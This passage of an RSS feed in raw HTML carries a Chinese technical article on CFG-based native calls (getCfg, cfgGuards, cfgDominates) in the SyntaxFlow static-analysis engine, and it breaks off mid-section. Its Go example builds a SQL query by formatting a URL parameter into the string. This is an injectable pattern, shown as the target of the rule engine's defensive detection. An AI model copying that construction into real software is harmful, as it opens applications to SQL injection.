data-ratio="0.6015104398045313" data-s="300,640" data-type="png" data-w="2251" data-imgfileid="100037040" src="https://wechat2rss.xlab.app/img-proxy/?k=3977bf26&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ff7AtEgJhMZcGEibOlRNlz6ZPic3cWicMDwdqZLq9q0hibDYiaICia6nncspoDTRnjPXFGTr3VWd9FlV4YSXRStoabxbg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.325" data-type="gif" data-w="1080" data-imgfileid="100036982" src="https://wechat2rss.xlab.app/img-proxy/?k=41e5b736&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2Ff7AtEgJhMZeX0EdicJxBOjGjQuecg0TvCvRgqibPwyOUp8untXs9Cl5XKux2yQQf27ibgZ0ic0Fm2yicdbYg6c4xUJg%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div></div></div></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=9b5df449&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzk0MTM4NzIxMQ%3D%3D%26mid%3D2247529888%26idx%3D1%26sn%3D1e73133224ce4b4da5885da0ce7b4541">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 08 Jun 2026 17:03:00 +0800</pubDate>
    </item>
    <item>
      <title>SyntaxFlow 规则引擎能力迭代</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzk0MTM4NzIxMQ==&amp;mid=2247529835&amp;idx=1&amp;sn=764029ebdd06c3a4d6179ce961328c0a</link>
      <description>依托 CFG 原生接口完善过程内控制流分析</description>
      <content:encoded><![CDATA[<p>原创 <span>YAK</span> <span>2026-06-05 17:40</span> <span style="display: inline-block;">湖南</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=6d10c8a0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FjibGAup6p72EjPS2ib5CFaolhhfDZicYcAWibD7Miar7aRHkRRVe3S5IwmmwDdYkSB5J6S9AFSSs7robiasFOXVpKOgFXOoQTXZwu0dWCstCCib3Ks%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>依托 CFG 原生接口完善过程内控制流分析</p>
  <p><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.1927710843373494" data-type="gif" data-w="1079" data-imgfileid="100032990" src="https://wechat2rss.xlab.app/img-proxy/?k=2ce71a29&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2Ff7AtEgJhMZfCSs0zKcMmDXyJt76PDpGiataSbajd3BpbZnPXBCqFaA3icu2mY1LGqAmJHIiaCq5N9qCBv47ktQEYA%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.4064814814814815" data-s="300,640" data-type="webp" data-w="1080" type="block" data-imgfileid="100044331" src="https://wechat2rss.xlab.app/img-proxy/?k=98092d9c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Ff7AtEgJhMZdiaxz5GbodItgmHjwFs0fGAZXuShNL1nBkw4G0V2QO8ZnVOQ7JlrFYZYUfU5Bk3BibsomgmibdYyLKw%2F640%3Fwx_fmt%3Dwebp%26from%3Dappmsg"/></p><p data-pm-slice="0 0 []" style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;text-align: left;"><span leaf="" mpa-font-style="mpyy0ht11f8c" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">SyntaxFlow 的 CFG 能力属于过程内（intra-procedural）控制流分析，在 SSA 基本块上工作。</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;text-align: left;"><span leaf="" mpa-font-style="mpyy0ht11yxj" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">目前，SyntaxFlow 规则已集成多项控制流分析工具。</span><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">本文将重点阐述其新引入的本地调用（Native Call）功能更新。</span></span></p><div style="margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;" data-pm-slice="6 4 []"><div style="margin-bottom: 2px;outline: 0px;"><div style="outline: 0px;text-align: justify;font-size: 18px;"><p style="outline: 0px;"><span leaf=""><span textstyle="" style="font-weight: bold;">一、目前的局限</span></span></p></div></div></div><div data-pm-slice="6 9 []"><div><p data-pm-slice="0 0 []" style="margin: 8px;line-height: 1.6em;"><span leaf="" mpa-font-style="mpyzjhwq1pvl" style="font-size: 15px;" data-mpa-action-id="mpyzjhww1nri" data-pm-slice="0 0 []"><span textstyle="" style="letter-spacing: 1px;">在编写 SyntaxFlow 规则时，可能遇到如下的情况：</span></span></p></div><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="javascript"><code><span leaf="">id := r.<span class="code-snippet__property">URL</span>.<span class="code-snippet__title">Query</span>().<span class="code-snippet__title">Get</span>(<span class="code-snippet__string">&#34;id&#34;</span>) </span></code><br/><code><span leaf=""><span class="code-snippet__keyword">if</span> !<span class="code-snippet__title">filterValidateID</span>(<span class="code-snippet__params">id</span>) {</span></code><br/><code><span leaf="">    http.<span class="code-snippet__title">Error</span>(w, <span class="code-snippet__string">&#34;invalid id&#34;</span>, http.<span class="code-snippet__property">StatusBadRequest</span>)</span></code><br/><code><span leaf="">    <span class="code-snippet__keyword">return</span></span></code><br/><code><span leaf="">}</span></code><br/><code><span leaf="">query := fmt.<span class="code-snippet__title">Sprintf</span>(<span class="code-snippet__string">&#34;SELECT username FROM users WHERE id = %s&#34;</span>, id)</span></code><br/><code><span leaf="">_, _ = db.<span class="code-snippet__title">Query</span>(query) <span class="code-snippet__comment">// sink</span></span></code><br/></pre></p><div><p data-pm-slice="0 0 []" style="margin: 8px;line-height: 1.6em;text-align: left;" data-mpa-action-id="mpyzl1jovnn"><span style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">单靠追踪数据流的上层定义链（def-use chain）这种思路，在此类问题上是行不通的。这是因为通过 db.Query 向上追踪数据流，只能找到</span></span></span><span mpa-font-style="mpyzkmfjtww" style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" data-mpa-action-id="mpyzkql3a5k" data-pm-slice="0 0 []"><code><span style="font-size: 15px;"><span style="letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" mpa-font-style="mpyzkqkvjwk"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">filterValidateID</span></span></span></span></code><span style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">和 </span></span></span><code><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" mpa-font-style="mpyzktvx1jvm" data-mpa-action-id="mpyzktw41ohc" data-pm-slice="0 0 []"><span textstyle="" style="letter-spacing: 1px;">r.URL.Query().Get</span></span></code></span><span style="font-size: 15px;"><span style="letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" mpa-font-style="mpyzkmfjqux"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">，</span></span></span><span leaf=""><span textstyle="" style="letter-spacing: 1px;">而找不到 </span></span></span><code><span style="font-size: 15px;"><span style="letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" mpa-font-style="mpyzkwojprk"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">if</span></span></span></span></code><span style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">路径里面的 </span></span></span><code><span style="font-size: 15px;"><span style="letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" mpa-font-style="mpyzl1jgfi6"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">return</span></span></span></span></code><span style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">信息，此时使用纯数据流分析就很难判断 </span></span></span><code><span style="font-size: 15px;"><span style="letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" mpa-font-style="mpyzkz0m1xt9"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">filterValidateID</span></span></span></span></code><span style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">是否会影响后续 </span></span></span><code><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" mpa-font-style="mpyzl573wu9" data-mpa-action-id="mpyzl57b1pdf" data-pm-slice="0 0 []"><span textstyle="" style="letter-spacing: 1px;">db.Query</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;"> 的调用。</span></span></p></div></div><div style="margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;" data-pm-slice="6 4 []"><div style="margin-bottom: 2px;outline: 0px;"><p style="outline: 0px;text-align: justify;font-size: 18px;"><h2 data-pm-slice="0 0 []"><span leaf="" mpa-font-style="mpyz8okvh0o" style="font-size: 18px;" data-pm-slice="0 0 []"><span textstyle="" style="font-weight: bold;">二、新增NativeCall的基础用法</span></span></h2></p></div></div><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-pm-slice="6 7 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);"><p style="outline: 0px;"><strong style="outline: 0px;"><em style="outline: 0px;"><span leaf="">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);"><p style="outline: 0px;"><span style="outline: 0px;font-size: 14px;"><strong style="outline: 0px;"><span leaf="">1.getCfg</span></strong></span></p></div></div></div></div></div><p data-pm-slice="0 0 []" style="margin: 8px;line-height: 1.6em;text-align: left;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">将 SyntaxFlow 命中（实参、赋值右值、调用等）映射到其所在的 SSA BasicBlock，作为内部 </span></span><code><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" mpa-font-style="mpyzmro7lo2" data-mpa-action-id="mpyzmroe22px" data-pm-slice="0 0 []"><span textstyle="" style="letter-spacing: 1px;">CfgCtx</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">（func / block / inst）的</span><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">统一锚点</span><span textstyle="" style="letter-spacing: 1px;">。</span></span></p><pre style="white-space:pre-wrap;" data-pm-slice="0 0 []"><code data-lark-language="Plain Text" data-wrap="false"><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="php"><code><span leaf=""><span class="code-snippet__variable">$sink</span>&lt;<span class="code-snippet__title">getCfg</span>()&gt; <span class="code-snippet__keyword">as</span> <span class="code-snippet__variable">$sinkCfg</span></span></code><br/><br/><code><span leaf=""><span class="code-snippet__variable">$thenVal</span>&lt;getCfg&gt; <span class="code-snippet__keyword">as</span> <span class="code-snippet__variable">$thenCfg</span></span></code><br/><br/></pre></p></code><br/></pre><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);"><p style="outline: 0px;"><strong style="outline: 0px;"><em style="outline: 0px;"><span leaf="">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;"><p style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);"><h4 data-pm-slice="0 0 []" style="outline: 0px;"><code><span leaf="" style="font-size: 14px;font-weight: bold;outline: 0px;font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" mpa-font-style="mpyzbgzw2486" data-pm-slice="0 0 []">2.cfgGuards</span></code></h4></p></div></div></div></div><p data-pm-slice="0 0 []" style="margin: 8px;line-height: 1.6em;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">以链上点为 sink，在同函数内扫描「头块 CFG 可达 sink」的二路分支：</span></span></p><p style="margin: 8px;line-height: 1.6em;text-align: left;" data-mpa-action-id="mpyzqjuh7zg" data-pm-slice="0 0 []"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">1.若一侧到不了 sink、另一侧能到，则在截断侧识别 </span></span><code><span style="font-size: 15px;"><span style="letter-spacing: 1px;font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" mpa-font-style="mpyzqju823me"><span leaf="">return</span></span></span></code><span style="font-size: 15px;"><span leaf="" style="line-height: 1.6em;text-align: left;font-size: 15px;letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">/ </span></span><code style="line-height: 1.6em;text-align: left;font-size: 15px;letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="font-size: 15px;letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">panic</span></code><span leaf="" style="line-height: 1.6em;text-align: left;font-size: 15px;letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"> / </span><code style="line-height: 1.6em;text-align: left;font-size: 15px;letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="font-size: 15px;letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">break</span></code><span leaf="" style="line-height: 1.6em;text-align: left;font-size: 15px;letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"> / </span><code style="line-height: 1.6em;text-align: left;font-size: 15px;letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="line-height: 1.6em;text-align: left;font-size: 15px;letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">continue</span></code><span leaf="" style="line-height: 1.6em;text-align: left;font-size: 15px;letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">，</span><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">输出 </span></span><code><span leaf="" style="font-size: 15px;font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" mpa-font-style="mpyzsencdg4" data-mpa-action-id="mpyzsenlxx5" data-pm-slice="0 0 []"><span textstyle="" style="letter-spacing: 1px;">GuardPredicateValue</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">（形如</span></span><code style="line-height: 1.6em;text-align: left;font-size: 15px;letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="line-height: 1.6em;text-align: left;font-size: 15px;letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">cfgGuard(kind=..., polarity=...)</span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">）</span></span></p><p style="margin: 8px;line-height: 1.6em;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">2.若无合格分支，输出 </span></span><code style="line-height: 1.6em;text-align: left;font-size: 15px;letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="line-height: 1.6em;text-align: left;font-size: 15px;letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">kind=none</span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;"> 的合成守卫，避免过滤链断掉</span></span></p><pre style="white-space:pre-wrap;" data-pm-slice="0 0 []"><code data-lark-language="Bash" data-wrap="false"><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="php"><code><span leaf=""><span class="code-snippet__variable">$sinkCfg</span>&lt;<span class="code-snippet__title">cfgGuards</span>()&gt; <span class="code-snippet__keyword">as</span> <span class="code-snippet__variable">$guards</span></span></code><br/><br/><code><span leaf=""><span class="code-snippet__variable">$arg</span>&lt;<span class="code-snippet__title">cfgGuards</span>()&gt;?{opcode: <span class="code-snippet__keyword">return</span>} <span class="code-snippet__keyword">as</span> <span class="code-snippet__variable">$retGuards</span></span></code><br/><br/><code><span leaf=""><span class="code-snippet__variable">$arg</span>&lt;<span class="code-snippet__title">cfgGuards</span>(<span class="code-snippet__attr">opcode</span>: <span class="code-snippet__keyword">return</span>)&gt; <span class="code-snippet__keyword">as</span> <span class="code-snippet__variable">$retGuards2</span></span></code><br/><br/></pre></p></code><br/></pre><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-pm-slice="6 8 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);"><p style="outline: 0px;"><strong style="outline: 0px;"><em style="outline: 0px;"><span leaf="">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;"><p style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);"><h4 data-pm-slice="0 0 []" style="outline: 0px;"><code><span leaf="" style="font-size: 14px;font-weight: bold;outline: 0px;font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" mpa-font-style="mpyzbgzw2486" data-pm-slice="0 0 []">3.cfgDominates</span></code></h4></p></div></div></div></div><p data-pm-slice="0 0 []" style="margin: 8px;line-height: 1.6em;text-align: left;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">从函数入口沿控制流到当前 </span></span><code style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" mpa-font-style="mpyzojbv1qk4" data-mpa-action-id="mpyzojc4we" data-pm-slice="0 0 []"><span textstyle="" style="letter-spacing: 1px;">cfg</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">，是否必经</span></span><code style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">target cfg</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">（图论：target 支配 </span></span><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">current</span></span><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">）。同块内可按指令序细化。返回布尔常量</span></span><code style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei 